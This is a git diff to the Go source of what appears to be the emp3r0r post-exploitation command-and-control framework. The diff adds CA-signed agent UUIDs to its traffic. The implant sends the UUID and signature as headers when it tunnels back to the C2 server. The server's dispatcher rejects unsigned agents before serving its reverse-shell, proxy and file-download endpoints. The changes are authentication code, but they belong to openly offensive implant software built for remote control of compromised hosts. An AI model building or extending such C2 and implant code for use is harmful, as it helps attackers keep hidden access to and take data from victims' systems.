diff --git a/core/lib/agent/poll.go b/core/lib/agent/poll.go index 8e07c55e6..901f68139 100644 --- a/core/lib/agent/poll.go +++ b/core/lib/agent/poll.go @@ -104,7 +104,12 @@ func ConnectCC(url string) (conn *h2conn.Conn, ctx context.Context, cancel conte // use h2conn for duplex tunnel ctx, cancel = context.WithCancel(context.Background()) - h2 := h2conn.Client{Client: emp3r0r_data.HTTPClient} + h2 := h2conn.Client{Client: emp3r0r_data.HTTPClient, + Header: http.Header{ + "AgentUUID": {RuntimeConfig.AgentUUID}, + "AgentUUIDSig": {RuntimeConfig.AgentUUIDSig}, + }, + } log.Printf("ConnectCC: connecting to %s", url) go func() { conn, resp, err = h2.Connect(ctx, url) diff --git a/core/lib/cc/buildAgent.go b/core/lib/cc/buildAgent.go index 924cdd8b5..f17ac71c5 100644 --- a/core/lib/cc/buildAgent.go +++ b/core/lib/cc/buildAgent.go @@ -4,6 +4,7 @@ package cc import ( + "encoding/base64" "encoding/json" "fmt" "os" @@ -160,6 +161,14 @@ func InitConfigFile(cc_host string) (err error) { RuntimeConfig.IndicatorWaitMax = 130 RuntimeConfig.AutoProxyTimeout = 0 // disable timeout by default, leave it to the OS + // sign agent UUID + sig, err := tun.SignWithCAKey([]byte(RuntimeConfig.AgentUUID)) + if err != nil { + return fmt.Errorf("failed to sign agent UUID: %v", err) + } + // base64 encode the sig + RuntimeConfig.AgentUUIDSig = base64.URLEncoding.EncodeToString(sig) + return save_config_json() } diff --git a/core/lib/cc/server.go b/core/lib/cc/server.go index 074bf0c57..7eaf51f6a 100644 --- a/core/lib/cc/server.go +++ b/core/lib/cc/server.go @@ -3,9 +3,9 @@ package cc - import ( "context" + "encoding/base64" "encoding/json" "fmt" "io" @@ -100,14 +100,40 @@ func TLSServer() { func dispatcher(wrt http.ResponseWriter, req *http.Request) { vars := mux.Vars(req) + // H2Conn for reverse shell and proxy var rshellConn, proxyConn emp3r0r_data.H2Conn RShellStream.H2x = &rshellConn ProxyStream.H2x = &proxyConn - token := vars["token"] - // POST vars - var path string - path = req.URL.Query().Get("file_to_download") + // vars + if vars["api"] == "" || vars["token"] == "" { + CliPrintDebug("Invalid request: %v, no api/token found, abort", req) + wrt.WriteHeader(http.StatusBadRequest) + return + } + + // verify agent uuid, is it signed by our CA? + agent_uuid := req.Header.Get("AgentUUID") + agent_sig, err := base64.URLEncoding.DecodeString(req.Header.Get("AgentUUIDSig")) + if err != nil { + CliPrintDebug("Failed to decode agent sig: %v, abort", err) + wrt.WriteHeader(http.StatusBadRequest) + return + } + isValid, err := tun.VerifySignatureWithCA([]byte(agent_uuid), agent_sig) + if err != nil { + CliPrintDebug("Failed to verify agent uuid: %v", err) + } + if !isValid { + CliPrintDebug("Invalid agent uuid, refusing request") + wrt.WriteHeader(http.StatusBadRequest) + return + } + CliPrintDebug("Header: %v", req.Header) + CliPrintDebug("Got a request: api=%s, token=%s, agent_uuid=%s, sig=%x", + vars["api"], vars["token"], agent_uuid, agent_sig) + + token := vars["token"] // this will be used to authenticate some requests api := tun.WebRoot + "/" + vars["api"] switch api { @@ -129,6 +155,9 @@ func dispatcher(wrt http.ResponseWriter, req *http.Request) { wrt.WriteHeader(http.StatusBadRequest) case tun.FileAPI: + var path string + path = req.URL.Query().Get("file_to_download") + if !IsAgentExistByTag(token) { wrt.WriteHeader(http.StatusBadRequest) return diff --git a/core/lib/data/config.go b/core/lib/data/config.go index 311e33854..1887ba43f 100644 --- a/core/lib/data/config.go +++ b/core/lib/data/config.go @@ -67,7 +67,8 @@ type Config struct { SocketName string `json:"socket"` // agent socket, use this to check agent status AgentRoot string `json:"agent_root"` // Where to store agent runtime files, default to /tmp UtilsPath string `json:"utils_path"` // where to store `vaccine` files - AgentUUID string `json:"agent_uuid"` // UUID of agent + AgentUUID string `json:"agent_uuid"` // UUID of agent, used to verify agent + AgentUUIDSig string `json:"agent_uuid_sig"` // UUID of agent signed by CA AgentTag string `json:"agent_tag"` // generated from UUID, will be used to identidy agents Timeout int `json:"timeout"` // wait until this amount of milliseconds to re-connect to C2 }